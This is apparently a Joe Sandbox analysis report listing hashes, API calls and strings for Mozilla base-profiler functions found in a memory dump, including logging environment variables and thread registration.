Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 25ce86b1801e4499871e3291e4349bcda2c9ee60c04ceca5766ccf145d11c721
Instruction ID: 185534ce8f289f252d1c5f603062cda4f284b50dcc17ff7a5b3d457368a920cd
Opcode Fuzzy Hash: 25ce86b1801e4499871e3291e4349bcda2c9ee60c04ceca5766ccf145d11c721
Instruction Fuzzy Hash: F4717C75E012198FCB18CFA8D8915EEBBB6FF89314F24816ED416AB744D731A906CF90

Function 6C9A58E0 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 951b0a1a16b43d55b0f83233c587641632b93214faccf13e7b62fda1c7327c38
Instruction ID: 5d4c60100473a5be67758edd216465f545d3783538c42449a8a5739c361d1882
Opcode Fuzzy Hash: 951b0a1a16b43d55b0f83233c587641632b93214faccf13e7b62fda1c7327c38
Instruction Fuzzy Hash: D1817C75A016199FCB04CFA8D880AEEBBF6FF89314F644269D411BB741D731E946CBA0

Function 6C9ACC00 Relevance: 75.2, APIs: 25, Strings: 25, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C97582D), ref: 6C9ACC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C97582D), ref: 6C9ACC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C9DFE98,?,?,?,?,?,6C97582D), ref: 6C9ACC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C97582D), ref: 6C9ACC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C97582D), ref: 6C9ACC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C97582D), ref: 6C9ACC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C97582D), ref: 6C9ACCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C9ACCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C9ACCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C9ACCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C9ACCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C9ACD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C9ACD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C9ACD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C9ACDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C9ACDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C9ACDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C9ACDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C9ACE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C9ACE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C9ACE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C9ACE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C9ACE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C9ACE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C9ACE8A

Strings

java, xrefs: 6C9ACC37
noiostacks, xrefs: 6C9ACCBE
Unrecognized feature "%s"., xrefs: 6C9ACEA0
unregisteredthreads, xrefs: 6C9ACE58
jsallocations, xrefs: 6C9ACD0E
ipcmessages, xrefs: 6C9ACDBE
screenshots, xrefs: 6C9ACCD4
markersallthreads, xrefs: 6C9ACE42
audiocallbacktracing, xrefs: 6C9ACDD4
processcpu, xrefs: 6C9ACE6E
fileio, xrefs: 6C9ACC92
cpuallthreads, xrefs: 6C9ACE16
seqstyle, xrefs: 6C9ACCE6
notimerresolutionchange, xrefs: 6C9ACE00
stackwalk, xrefs: 6C9ACCF8
fileioall, xrefs: 6C9ACCA8
preferencereads, xrefs: 6C9ACD92
nativeallocations, xrefs: 6C9ACDA8
default, xrefs: 6C9ACC21
pnk.exeQCADxxojEYpnk.exeQCADxxojEYpnk.exeQCADxxojEYpnk.exeQCADxxojEYpnk.exeQCADxxojEYpnk.exeQCADxxojEYpnk.exeQCADxxojEYpnk.exeQCADxxojEYpnk.exeQCADxxojEYpnk.exeQCADxxojEYpnk.exeQCADxxojEYpnk.exeQCADxxojEYpnk.exeQCADxxojEYpnk.exeQCAD, xrefs: 6C9ACE92
leaf, xrefs: 6C9ACC66
power, xrefs: 6C9ACE84
mainthreadio, xrefs: 6C9ACC7C
samplingallthreads, xrefs: 6C9ACE2C
nostacksampling, xrefs: 6C9ACD7C

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$pnk.exeQCADxxojEYpnk.exeQCADxxojEYpnk.exeQCADxxojEYpnk.exeQCADxxojEYpnk.exeQCADxxojEYpnk.exeQCADxxojEYpnk.exeQCADxxojEYpnk.exeQCADxxojEYpnk.exeQCADxxojEYpnk.exeQCADxxojEYpnk.exeQCADxxojEYpnk.exeQCADxxojEYpnk.exeQCADxxojEYpnk.exeQCAD$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-543820082
Opcode ID: 2ce3fc2b65e1df1d1df83457439cb152784e19b7d9c163ee3055b682f8c20a91
Instruction ID: dab010c6254599a331f99b44fb7154cf41ec0d4256262a93ff03c197371ade1f
Opcode Fuzzy Hash: 2ce3fc2b65e1df1d1df83457439cb152784e19b7d9c163ee3055b682f8c20a91
Instruction Fuzzy Hash: 1051B8D1905A2612FB0132D52D11BAA7548EFB724AF11843AED0ABDF80FF06F61B45B7

Function 6C9747C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C974801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C974817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C97482D
__Init_thread_footer.LIBCMT ref: 6C97484A

Part of subcall function 6C99AB3F: EnterCriticalSection.KERNEL32(6C9EE370,?,?,6C963527,6C9EF6CC,?,?,?,?,?,?,?,?,6C963284), ref: 6C99AB49
Part of subcall function 6C99AB3F: LeaveCriticalSection.KERNEL32(6C9EE370,?,6C963527,6C9EF6CC,?,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C99AB7C

GetCurrentThreadId.KERNEL32 ref: 6C97485F
GetCurrentThreadId.KERNEL32 ref: 6C97487E
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C97488B
free.MOZGLUE(?), ref: 6C97493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C974956
free.MOZGLUE(00000000), ref: 6C974960
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C97499A

Part of subcall function 6C99AB89: EnterCriticalSection.KERNEL32(6C9EE370,?,?,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284), ref: 6C99AB94
Part of subcall function 6C99AB89: LeaveCriticalSection.KERNEL32(6C9EE370,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C99ABD1

free.MOZGLUE(?), ref: 6C9749C6
free.MOZGLUE(?), ref: 6C9749E9

Part of subcall function 6C985E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C985EDB
Part of subcall function 6C985E90: memset.VCRUNTIME140(6C9C7765,000000E5,55CCCCCC), ref: 6C985F27
Part of subcall function 6C985E90: LeaveCriticalSection.KERNEL32(?), ref: 6C985FB2

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C974828
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C9747FC
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C974812
MOZ_PROFILER_SHUTDOWN, xrefs: 6C974A42
[I %d/%d] profiler_shutdown, xrefs: 6C974A06

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 09d37059e9485f5cb939e8e5b31f392597fd25b1e481afc8c2643cc311605fa4
Instruction ID: cdc7aef73ddd365cbf35201616628232fc6466abfdfca2354ad483032cdcf679
Opcode Fuzzy Hash: 09d37059e9485f5cb939e8e5b31f392597fd25b1e481afc8c2643cc311605fa4
Instruction Fuzzy Hash: 45812471A06200CBEB64DF28D84875A3775BF6A31CF24062AD91697B43E731E944CFA6

Function 6C974470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C974730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C9744B2,6C9EE21C,6C9EF7F8), ref: 6C97473E
Part of subcall function 6C974730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C97474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C9744BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C9744D2
InitOnceExecuteOnce.KERNEL32(6C9EF80C,6C96F240,?,?), ref: 6C97451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C97455C
LoadLibraryW.KERNEL32(?), ref: 6C974592
InitializeCriticalSection.KERNEL32(6C9EF770), ref: 6C9745A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C9745AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C9745BB
InitOnceExecuteOnce.KERNEL32(6C9EF818,6C96F240,?,?), ref: 6C974612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C974636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C974644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C97466D
VerSetConditionMask.NTDLL ref: 6C97469F
VerSetConditionMask.NTDLL ref: 6C9746AB
VerSetConditionMask.NTDLL ref: 6C9746B2
VerSetConditionMask.NTDLL ref: 6C9746B9
VerSetConditionMask.NTDLL ref: 6C9746C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C9746CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C9746F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C9746FD

Strings

kernel32.dll, xrefs: 6C9744CD
l, xrefs: 6C974578
NativeNtBlockSet_Write, xrefs: 6C9746F7
user32.dll, xrefs: 6C974557, 6C97463F
WRusr.dll, xrefs: 6C9744B5

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: ba6186cc0a9d32f7075c6fe85e9289580dcd09be687a055cba043cad8f9f5b7a
Instruction ID: 6c8001da77f00616909d5cdb2e9b5e432c4615f53ee91d71125fcd12a1ee1bcb
Opcode Fuzzy Hash: ba6186cc0a9d32f7075c6fe85e9289580dcd09be687a055cba043cad8f9f5b7a
Instruction Fuzzy Hash: A16127B1609344EFEB218F61DC09B9577B8EFAE70CF248499E5049B642D771CA44CFA1

Function 6C9AE8B0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9A7090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6C9AB9F1,?), ref: 6C9A7107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C9ADCF5), ref: 6C9AE92D
GetCurrentThreadId.KERNEL32 ref: 6C9AEA4F
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AEA5C
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AEA80
GetCurrentThreadId.KERNEL32 ref: 6C9AEA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C9ADCF5), ref: 6C9AEA92
GetCurrentThreadId.KERNEL32 ref: 6C9AEB11
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AEB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6C9AEB3C
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AEB5B

Part of subcall function 6C9A5710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9AEB71), ref: 6C9A57AB

Part of subcall function 6C99CBE8: GetCurrentProcess.KERNEL32(?,6C9631A7), ref: 6C99CBF1
Part of subcall function 6C99CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9631A7), ref: 6C99CBFA

Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C974A68), ref: 6C9A945E
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9A9470
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9A9482
Part of subcall function 6C9A9420: __Init_thread_footer.LIBCMT ref: 6C9A949F

GetCurrentThreadId.KERNEL32 ref: 6C9AEBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6C9AEBAC

Part of subcall function 6C9A94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9A94EE
Part of subcall function 6C9A94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9A9508

GetCurrentThreadId.KERNEL32 ref: 6C9AEBC1
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8,?,?,00000000), ref: 6C9AEBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6C9AEBE5
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8,00000000), ref: 6C9AEC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C9AEC46
CloseHandle.KERNEL32(?), ref: 6C9AEC55
free.MOZGLUE(00000000), ref: 6C9AEC5C

Strings

[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6C9AEA9B
[I %d/%d] profiler_start, xrefs: 6C9AEBB4

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-1186885292
Opcode ID: c9420bc0aa32cdd7b0d474505409d15a1a1c50cfc5fed2be34274c580b54314a
Instruction ID: 83e9bcd2a02299f8544257fea0ba4ff7711a0a8f837b4db0aecfba8a223d3c62
Opcode Fuzzy Hash: c9420bc0aa32cdd7b0d474505409d15a1a1c50cfc5fed2be34274c580b54314a
Instruction Fuzzy Hash: C1A137317043049FDB409FA8D848B6677B5FFFA308F24442AE91987B51EB31D816CBA5

Function 6C9AF6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C974A68), ref: 6C9A945E
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9A9470
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9A9482
Part of subcall function 6C9A9420: __Init_thread_footer.LIBCMT ref: 6C9A949F

GetCurrentThreadId.KERNEL32 ref: 6C9AF70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C9AF8F9

Part of subcall function 6C976390: GetCurrentThreadId.KERNEL32 ref: 6C9763D0
Part of subcall function 6C976390: AcquireSRWLockExclusive.KERNEL32 ref: 6C9763DF
Part of subcall function 6C976390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C97640E

ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AF93A
GetCurrentThreadId.KERNEL32 ref: 6C9AF98A
GetCurrentThreadId.KERNEL32 ref: 6C9AF990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9AF994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9AF716

Part of subcall function 6C9A94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9A94EE
Part of subcall function 6C9A94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9A9508

Part of subcall function 6C96B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C96B5E0

GetCurrentThreadId.KERNEL32 ref: 6C9AF739
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AF746
GetCurrentThreadId.KERNEL32 ref: 6C9AF793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C9E385B,00000002,?,?,?,?,?), ref: 6C9AF829
free.MOZGLUE(?,?,00000000,?), ref: 6C9AF84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C9AF866
free.MOZGLUE(?), ref: 6C9AFA0C

Part of subcall function 6C975E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9755E1), ref: 6C975E8C
Part of subcall function 6C975E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C975E9D
Part of subcall function 6C975E60: GetCurrentThreadId.KERNEL32 ref: 6C975EAB
Part of subcall function 6C975E60: GetCurrentThreadId.KERNEL32 ref: 6C975EB8
Part of subcall function 6C975E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C975ECF
Part of subcall function 6C975E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C975F27
Part of subcall function 6C975E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C975F47
Part of subcall function 6C975E60: GetCurrentProcess.KERNEL32 ref: 6C975F53
Part of subcall function 6C975E60: GetCurrentThread.KERNEL32 ref: 6C975F5C
Part of subcall function 6C975E60: GetCurrentProcess.KERNEL32 ref: 6C975F66
Part of subcall function 6C975E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C975F7E

free.MOZGLUE(?), ref: 6C9AF9C5
free.MOZGLUE(?), ref: 6C9AF9DA

Strings

Thread , xrefs: 6C9AF789
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C9AF9A6
[D %d/%d] profiler_register_thread(%s), xrefs: 6C9AF71F
" attempted to re-register as ", xrefs: 6C9AF858

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 82370fd8e5faea506a71c310208b6189c4858e29252bf5bea799bd2d42c8e4c6
Instruction ID: 716841f7cea8d822341d2fbb1abd3926652e4b4e4eaed9c9ae4b3decc65c3513
Opcode Fuzzy Hash: 82370fd8e5faea506a71c310208b6189c4858e29252bf5bea799bd2d42c8e4c6
Instruction Fuzzy Hash: D28104716043009FDB11DF64C840BAAB7B5FFE9308F55496DE8499BB51EB30D84ACBA2

Function 6C9AEE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C974A68), ref: 6C9A945E
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9A9470
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9A9482
Part of subcall function 6C9A9420: __Init_thread_footer.LIBCMT ref: 6C9A949F

GetCurrentThreadId.KERNEL32 ref: 6C9AEE60
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AEE6D
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AEE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C9AEEA5
CloseHandle.KERNEL32(?), ref: 6C9AEEB4
free.MOZGLUE(00000000), ref: 6C9AEEBB
GetCurrentThreadId.KERNEL32 ref: 6C9AEEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9AEECF

Part of subcall function 6C9ADE60: GetCurrentThreadId.KERNEL32 ref: 6C9ADE73
Part of subcall function 6C9ADE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C974A68), ref: 6C9ADE7B
Part of subcall function 6C9ADE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C974A68), ref: 6C9ADEB8
Part of subcall function 6C9ADE60: free.MOZGLUE(00000000,?,6C974A68), ref: 6C9ADEFE
Part of subcall function 6C9ADE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C9ADF38

Part of subcall function 6C99CBE8: GetCurrentProcess.KERNEL32(?,6C9631A7), ref: 6C99CBF1
Part of subcall function 6C99CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9631A7), ref: 6C99CBFA

GetCurrentThreadId.KERNEL32 ref: 6C9AEF1E
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AEF2B
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AEF59
GetCurrentThreadId.KERNEL32 ref: 6C9AEFB0
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AEFBD
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AEFE1
GetCurrentThreadId.KERNEL32 ref: 6C9AEFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9AF000

